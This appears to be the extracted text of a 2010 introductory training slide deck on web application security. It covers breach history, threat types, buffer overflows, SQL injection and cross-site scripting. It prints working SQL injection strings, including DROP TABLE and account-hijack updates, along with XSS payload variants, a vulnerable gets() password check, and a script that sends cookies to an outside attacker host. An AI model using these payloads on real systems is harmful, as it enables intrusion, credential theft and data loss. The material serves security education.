Web application security

Web Application Security
An Introduction

Sathya Narayana Panduranga

© 2010 Ariba, Inc. All rights reserved. The contents of this document are confidential and proprietary information of Ariba, Inc.

Nimda outbreak spreads worldwide
(September 18, 2001)
 The worm spread by emailing
itself as an attachment, scanning
for--and then infecting--vulnerable
Web servers running Microsoft's
Internet Information Server
software,
 Copying itself to shared disk
drives on networks, and
 Appending Javascript code to
Web pages that will download the
worm to Web surfers' PCs when
they view the page.
Caused $530 million worth
damages with in just first week of
outbreak


CardSystems debacle (June, 2005)
 In June 2005, information on a million credit cards were stolen
from CardSystems through SQL Injection
 Enquiry revealed that this company was keeping an
unencrypted log of all (40 million) Credit Cards processed
 The company was liquidated


Denial of Service Attack Takes Down
Amazon, Wal-Mart (June, 2008)

Amazon.com was taken down for several hours by a
distributed denial-of-service attack that struck the Web
site's load-balancing system


ChoicePoint to Pay $15 million fine for
Data Breach (Sept, 2010)

The April 2008 breach compromised the personal data of 13,750 people. For
a 30-day period, an unknown hacker conducted thousands of unauthorized
searches of a ChoicePoint database containing sensitive consumer
information, including Social Security numbers


Understanding Threats
Defacement
Infiltration
Phishing
Pharming
Insider Threats
Denial of Service
Data theft / loss


Defacement
 Online Vandalism, attackers replace legitimate pages with
illegitimate ones
 Targeted towards political web sites
 Risk of public misinformation and potential liabilities

White House
website defaced by
Anti-NATO
Activists


Infiltration
Unauthorized parties gain access to
resources of your computer system (e.g.
CPUs, disk, network bandwidth)
Could gain read/write access to back-end DB
Data integrity and confidentiality at Risk


Phishing
Attacker sets up spoofed site that looks real
Lures users to enter login credentials and
stores them
Usually sent through an e-mail with link to
spoofed site asking users to “verify” their
account info
The links might be disguised through the click
texts

Disguising Evil Link

Phishing Email

Phishing Website


Pharming (DNS Cache Poisoning)
 Like phishing, attacker’s goal is to get user to enter
sensitive data into spoofed website
 The attacker targets the DNS service used by the
customer.
 Attacker makes DNS translate legitimate URL to their
IP address instead and the result gets cached,
poisoning future replies as well
 User wants to go the website ‘www.nicebank.com’
and types the address in the web browser.
 User’s computer queries the DNS server for the IP
address of ‘www.nicebank.com’.
 Since the DNS server has already been ‘poisoned’ by
the attacker, it returns the IP address of the fake
website to the user’s computer.

How Pharming is done
 Etc/hosts file manipulation
 DNS Cache poisoning (using vulnerabilities in DNS
query protocol, specific DNS server)
 Domain Hijacking
 Taking advantage of user typo errors


Insider Threats
Attacks carried out with cooperation of
insiders
Insiders could have access to data and leak it
DB and Sys Admins usually get complete
access
Threats
 Malware being bundled with legitimate software
 Loss of confidentiality and Data


Denial of Service
Attacker inundates server with packets
causing it to drop legitimate packets
Makes service unavailable, downtime = lost
revenue
Particularly a threat for financial and ecommerce vendors
Can be automated through Botnets (DDos)


Data Theft or Data Loss
Several Examples: BofA, ChoicePoint, VA
 BofA: backup data tapes lost in transit
 ChoicePoint: fraudsters queried DB for sensitive
info (SQL Injection)
 VA: employee took computer with personal info
home & his home was burglarized

Can lead to Identity theft (resulting in liability
to the company)


Means
 SQL Injection
 JavaScript Injection
 Worms
 Botnets
 Malware






Rootkits
Keyloggers
Trojans
Adware
Clickbots

 Cross Site Scripting (XSS)
 Cookie Stealing
 Dictionary attack

Buffer Overflows
• Buffer overflow attack is a way to inject
malicious code into a running program
• This way attacker takes control of the program


1 int checkPassword() {
2
char pass[16];
3
bzero(pass, 16); // Initialize
4
printf ("Enter password: ");
5
gets(pass);
6
if (strcmp(pass, "opensesame") ==
0)
7
return 1;
8
else
9
return 0;
10 }
11
12 void openVault() {
13
// Opens the vault
14 }
15
16 main() {
17
if (checkPassword()) {
18
openVault();
19
printf ("Vault opened!");
20
}
21 }

Execution stack: maintains current function
state and address of return function
Stack frame: holds vars and data for function
Extra user input (> 16 chars) overwrites return
address
 Attack string: 17-20th chars can specify address of
openVault() to bypass check
 Address can be found with source code or binary

Return-into-libc attack: jump to library functions
 e.g. /bin/sh or cmd.exe to gain access to a
command shell (shellcode) and complete control


Considerations
One of the oldest and most common forms of
security threats
Affects both stacks and heaps
Originally used by Nimda and Morris worms
Doesn’t affect Java/J2EE systems unless the
Native code used by these systems is
vulnerable
Targeted Vulnerability
Program not employing careful bounds
checking of input parameters

Worms and other Malware
Worms spread across Internet through
vulnerabilities in widely used software
applications
History
 First Worm: Morris Worm (1988)
 Code Red (2001)
 Nimda (2001)
 Blaster (2003)
 SQL Slammer (2003)

Root-kits, Botnets, Spyware, other Malware


Worm vs Virus
 Virus: program that copies itself into other programs
 Could be transferred through infected disks
 Rate dependent on human use

 Worm: a virus that uses the network to copy itself
onto other computers
 Worms propagate faster than viruses
 Large # of computers to infect
 Connecting is fast (milliseconds)


Anatomy of the attack
 Morris Worm
 Didn’t touch data but spiked NW traffic by propagating
(copying self)
 Exploited Buffer Overflow in fingerd (Unix), vulnerability in
sendmail debug mode
 used a dictionary of 432 frequently used passwords to login
and execute rexec and rsh

 Code Red Worm
 Spread rapidly across the internet and defaced the homepage of infected servers
 Resident only in memory, no disk writes
 Exploited MS IIS server buffer overflow vulnerability
 Exploited “indexing server” feature by scanning for IP
addresses to connect to other IIS servers


Anatomy of the attack…continued
 Nimda Worm
 Worse form of Code Red worm
 Used multiple propagation vectors: Server to server, server
to client
 The infected client sent Emails with Nimda as payload

 Blaster Worm
 The infected machine would lauch a DDos attack on
Windows update site and then shut down the machine
 The DDos attack prevented users from downloading the
patch (fix)
 Exploited Buffer Overflow vulnerability in Windows DCOM
service


Other Malware
 Rootkits: imposter OS tools used by attacker to hide
his tracks
 Botnets: network of software robots attacker uses to
control many machines at once to launch attacks
(e.g. DDoS through packet flooding, click fraud)
 Spyware: software that monitors activity of a system
or its users without their consent
 Keyloggers: spyware that monitors user keyboard or
mouse input, used to steal usernames, passwords,
credit card #s, etc…
 Trojan Horses: software performs additional or
different functions than advertised
 Adware: shows ads to users w/o their consent

Targeted Vulnerabilities
Organization not having / implementing good
security policies
Program not handling buffer overflow
vulnerability
Program relying on unknown 3rd party
component (which may be vulnerable)
Keeping all the features turned on by default
No clear password policy (users having
predictable passwords)


Client state manipulation: Record,
manipulate and replay attack
HTTP is stateless: server may send state info
to the client which echoes it back in future
requests
When client state is stored un-encrypted for
example in Hidden form fields it can be
manipulated by an attacker
 Unix curl and wget commands can be used
for record-replay attack
Server based session management with
strong session ids can mitigate the problem


Client State Manipulation: JavaScript
Manipulation
Evil user can just delete JavaScript code,
substitute desired parameters & submit!
 Could also just submit request & bypass
JavaScript

Warning: Data validation or computations
done by JavaScript cannot be trusted by
server
 Attacker may alter script in HTML code to modify
computations
 Attacker may use Javascript code to gain
additional intelligence about the application
 Must be redone on server to verify


Program not sanitizing input
Not expiring sessions
Writing sensitive information to cookies
Storing client-state un-encrypted
Not recognizing brute-force attacks
Unobfuscated JavaScript code


SQL Injection
 SQL injection attacks are important security threat
that can
 Compromise sensitive user data
 Alter or damage critical data
 Give an attacker unwanted access to DB


 Attacker guesses the SQL used in the backend
 SELECT full_name, phone_number, ssn FROM userinfo
WHERE email = $EMAIL;

 Let us say the attacker knows a valid email id
‘bob@example.com’. He tries to find out if the
application has a SQL injection vulnerability by
 SELECT userid FROM userinfo WHERE email =
‘bob@example.com'';
 The error message is sure shot giveaway to the SQL
injection vulnerability

 Inject an SQL to return every row in the table
 SELECT userid FROM userinfo WHERE email = 'anything'
OR 'x'='x';

 The clause is guaranteed to be true


 Attacker wants to find out the field names
 SELECT fieldlist FROM table WHERE field = 'x' AND email IS
NULL; --';

 If he gets a server error, it means our SQL is malformed and
a syntax error was thrown: it's most likely due to a bad field
name.
 If he gets any kind of valid response, he guessed the name
correctly.

 Finding the table name
 SELECT email, passwd, login_id, full_name FROM userinfo
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM
tabname); --';
 If he gets any kind of valid response, he guessed the name
correctly.

 If the password is stored in clear text: bruteforce
break in
WHERE email = 'bob@example.com' AND passwd =
‘hello123';
 Tries multiple times with different common passwords until he
breaks in

 If the DB is not read-only
 SELECT email, passwd, login_id, full_name FROM
userinfo WHERE email = 'x'; DROP TABLE userinfo; --';

 Adding a malicious user
WHERE email = 'x'; INSERT INTO userinfo
('email','passwd','login_id','full_name')
VALUES
('evil@example.com','hello','evil','Evil User');--';

 Malicious password recovery
WHERE email = 'x'; UPDATE userinfo SET email =
'steve@example1.com' WHERE email = 'bob@example.com';
 Lets say the application provides a “I lost my password” link which
emails password and lets say the attacker clicks on it
----------------------------------------------------From: system@example.com
To: steve@example1.com
Subject: Intranet login
This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello
-------------------------------------------------© 2010 Ariba, Inc. All rights reserved. The contents of this document are confidential and proprietary information of Ariba, Inc.


Program not sanitizing inputs
Program not using appropriate privilege levels
for accessing database
Program not validating the input source
Storing clear text passwords
Having guessable table and field names


Cross Site Scripting (XSS) Attacks
Security issues arising from browser
interacting with multiple web apps (ours and
malicious ones), not direct attacks
 Cross-Site Request Forgery (XSRF)
 Cross-Site Script Inclusion (XSSI)
 Cross-Site Scripting (XSS)


 Following jsp code reads employee code from HTTP
request and displays to the user
<% String eid = request.getParameter("eid"); %> ...
Employee ID: <%= eid %>
 This code is vulnerable to Javascript injection and thus vulnerable
to XSS
 Try injecting the following script to vulnerable website
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
 The above vulnerability is called non-persistent XSS vulnerability

<%

...

rs = stmt.executeQuery("select * from emp where id="+eid);
… String name = rs.getString("name");
%>
Employee Name: <%= name %>
 The above code has persistent XSS vulnerability


Cookie grabbing
 Execute the following code on vulnerable website
<IMG """><SCRIPT>alert(document.cookie)</SCRIPT>">

 Various ways of injecting javascript
 <BGSOUND SRC="javascript:alert('XSS');">
 <BR SIZE="&{alert('XSS')}">
 <LINK REL="stylesheet"
HREF="javascript:alert('XSS');">
 <IFRAME
SRC="javascript:alert('XSS');"></IFRAME>
 <DIV STYLE="background-image:
url(javascript:alert('XSS'))">


XSS
Attacker can get a malicious script to be
executed in our application’s context
Malicious script could cause browser to send
attacker all cookies for our app’s domain
<script>
i = new Image();
i.src = "http://www.hackerhome.org/log_cookie?cookie=" +
escape(document.cookie); // URL-encode
</script>

Above Script injected to execute in our domain
 Can access document.cookie in DOM
 Constructs URL on attacker’s server, gets saved in
a log file, can extract info from cookie parameter

Sources of untrusted data
 Query parameters, HTML form fields
 Path of the URI which could be inserted into page via
a “Document not found” error
 Cookies, parts of the HTTP request header (e.g.
Referer header)
 Data inserted into a SQL DB, file system
 3rd party data (e.g. RSS feed)

Securing the Enterprise
Physical Security
Technological Security
 Application Security
 Operating System Security
 Network Security

Policies and Procedures


Next Presentation
Brief discussion on 360 degree security
Fundamental Security Concepts
Security Design Principles
Best Practices and Solutions
Testing for Security (Being the hacker)
Security breach detection and mitigation
Tools
Ariba Buyer security assessment


Web application security

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (19)

En vedette

En vedette (20)

Similaire à Web application security

Similaire à Web application security (20)

Dernier

Dernier (20)

Web application security